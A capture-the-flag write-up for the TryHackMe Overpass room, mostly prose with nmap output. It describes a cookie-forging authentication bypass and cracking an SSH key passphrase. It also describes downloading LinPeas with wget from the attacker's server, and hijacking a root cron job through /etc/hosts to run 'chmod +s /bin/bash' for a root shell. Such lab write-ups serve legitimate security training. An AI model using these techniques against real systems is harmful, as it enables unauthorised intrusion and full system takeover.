README.md

Overpass

Writeup for Overpass room on TryHackMe.com. URL for Overpass room is: https://tryhackme.com/room/overpass

Table of Contents

• Port Scan
• Directory Enumeration
• Web Application
• Source Code Analysis
• SSH Login
• Privillege Escalation
  • System Enumeration
  • System Exploitation
• Conclusion

Port Scan

Using nmap I was able to identify ports 22 and 80 as open.

# Nmap 7.92 scan initiated Sun Jan  2 13:46:36 2022 as: nmap -vv -sS -oN port_scan.txt 10.10.181.173
Nmap scan report for 10.10.181.173
Host is up, received echo-reply ttl 63 (0.075s latency).
Scanned at 2022-01-02 13:46:36 EST for 4s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Jan  2 13:46:40 2022 -- 1 IP address (1 host up) scanned in 3.66 seconds

A detailed nmap scan revealed some more information about the target's open ports.

# Nmap 7.92 scan initiated Sun Jan  2 13:48:06 2022 as: nmap -vv -A -oN open_ports.txt 10.10.181.173
Nmap scan report for 10.10.181.173
Host is up, received echo-reply ttl 63 (0.071s latency).
Scanned at 2022-01-02 13:48:07 EST for 21s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLYC7Hj7oNzKiSsLVMdxw3VZFyoPeS/qKWID8x9IWY71z3FfPijiU7h9IPC+9C+kkHPiled/u3cVUVHHe7NS68fdN1+LipJxVRJ4o3IgiT8mZ7RPar6wpKVey6kubr8JAvZWLxIH6JNB16t66gjUt3AHVf2kmjn0y8cljJuWRCJRo9xpOjGtUtNJqSjJ8T0vGIxWTV/sWwAOZ0/TYQAqiBESX+GrLkXokkcBXlxj0NV+r5t+Oeu/QdKxh3x99T9VYnbgNPJdHX4YxCvaEwNQBwy46515eBYCE05TKA2rQP8VTZjrZAXh7aE0aICEnp6pow6KQUAZr/6vJtfsX+Amn3
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMyyGnzRvzTYZnN1N4EflyLfWvtDU0MN/L+O4GvqKqkwShe5DFEWeIMuzxjhE0AW+LH4uJUVdoC0985Gy3z9zQU=
|   256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINwiYH+1GSirMK5KY0d3m7Zfgsr/ff1CP6p14fPa7JOR
80/tcp open  http    syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 0D4315E5A0B066CEFD5B216C8362564B
|_http-title: Overpass
OS fingerprint not ideal because: maxTimingRatio (1.508000e+00) is greater than 1.4
Aggressive OS guesses: Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.92%E=4%D=1/2%OT=22%CT=1%CU=35264%PV=Y%DS=2%DC=T%G=N%TM=61D1F37C%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=106%TI=Z%CI=Z%TS=A)
OPS(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
ECN(R=Y%DF=Y%T=40%W=F507%O=M505NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.224 days (since Sun Jan  2 08:25:48 2022)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT      ADDRESS
1   69.72 ms 10.9.0.1
2   72.15 ms 10.10.181.173

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan  2 13:48:28 2022 -- 1 IP address (1 host up) scanned in 22.68 seconds

Directory Enumeration

Enumerating directories with gobuster showed some potentially interesting directories.

Web Appliaction

Following the given IP address gives a homepage of Overpass password manager.

Looking at the source code of the homepage, there is an interesting comment left there about a certain Roman cipher.

There also is the Downloads directory, which contains source code, build script and precompiled binaries for different operating systems.

Going to the Administrator page shows a login form.

The panel's source code shows a few Javascript files, login.js is of a particular interest.

Login function sends user-inputted username and password to /api/login endpoint to get a response. This response is then set as a Cookie named SessionToken.

The hint says that this is vulnerable to something from OWASP Top10 list. Opening that list shows that Broken Access Control is the most popular web appication vulnerability.

Getting back to the Overpass page and opening Console within Firefox Developer Tools, I copied the Cookies.set function to the console and set the session token value to a literal AnyValue string.

This led to an Administrator panel.

Some username as well as this user's private SSH key could be found here.

Source Code Analysis

Analyzing source code in the overpass.go file confirms that the variation of Caesar cipher called rotate 47 (ROT47) is used for encryption.

SSH Login

I copied the private SSH key to a file within my local machine and set appropriate permissions for the file. Although this key is protected by a passphrase.

Using ssh2john I was able to convert the ssh key to a format readable by John the Ripper and crack the passphrase.

Using the credentials I was able to log into the system and retrieve the user flag.

Privillege Escalation

Reading the todo.txt file gives information that some password might be stored on the system using Overpass.

The user I am logged in as has .overpass file, which in turn has a ROT47 encoded string.

It decodes to a JSON formatted data containing username and password.

The found password is the system password of the user that I am logged in as.

System Enumeration

For enumerating the system and finding potential attack vectors, I copied LinPeas to the target system. For that, I followed these steps:

1. On local machine, go to the location where the LinPeas script is located.

2. On local machine, start Python server.

3. On the target machine, go to /tmp directory.

4. On the target machine, issue wget http://<IP>:<PORT>/linpeas command.

Run chmod +x linpeas_linux_amd64 to make it executable.

Linpeas scan of the target system revealed a couple of interesting things:

1. A cronjob, where the root user downloads buildscript.sh from Overpass.thm and pipes it to bash.

2. An /etc/hosts file, editable by current user.

System Exploitation

1. Root user gets buildscript.sh from a /downloads/source directory from overpass.thm and pipes it to bash.
2. Since I can edit /etc/hosts file, I can bind my IP with overpass.thm domain.
3. On my local machine I wil create the /downloads/src directory.
4. In this directory I will place my malicious script.
5. My malicious script will add SUID bit to /bin/bash executable - chmod +s /bin/bash.
6. Wait for the next minute to start.
7. SUID bit is added to the /bin/bash executable.
8. Running /bin/bash -p command gives root shell.
9. Navigating to /root directory and reading root.txt file gives root flag.

Conlusion

1. Scanned ports with nmap.
2. Enumerated directories with gobuster.
3. Found potential cipher method within the web application source code.
4. Within admin panel found a Javascript code, which sets cookie value.
5. This Cookie.set mechanism could be used for authentication bypass and to access admin panel.
6. Private SSH key was found as well as username.
7. SSH key had a passphrase, which was cracked with John the Ripper.
8. Logged into the system, found the user flag.
9. Downloaded LinPeas to the target system.
10. Found a cronjob that is executed as root every minute and downloads a script from a specific location.
11. Created a corresponding directory on my local machine.
12. Created a script to add sticky bit to /bin/bash.
13. After the cronjob executed, I issued /bin/bash -p command on the target and got root shell.
14. I obtained the root flag.

Done!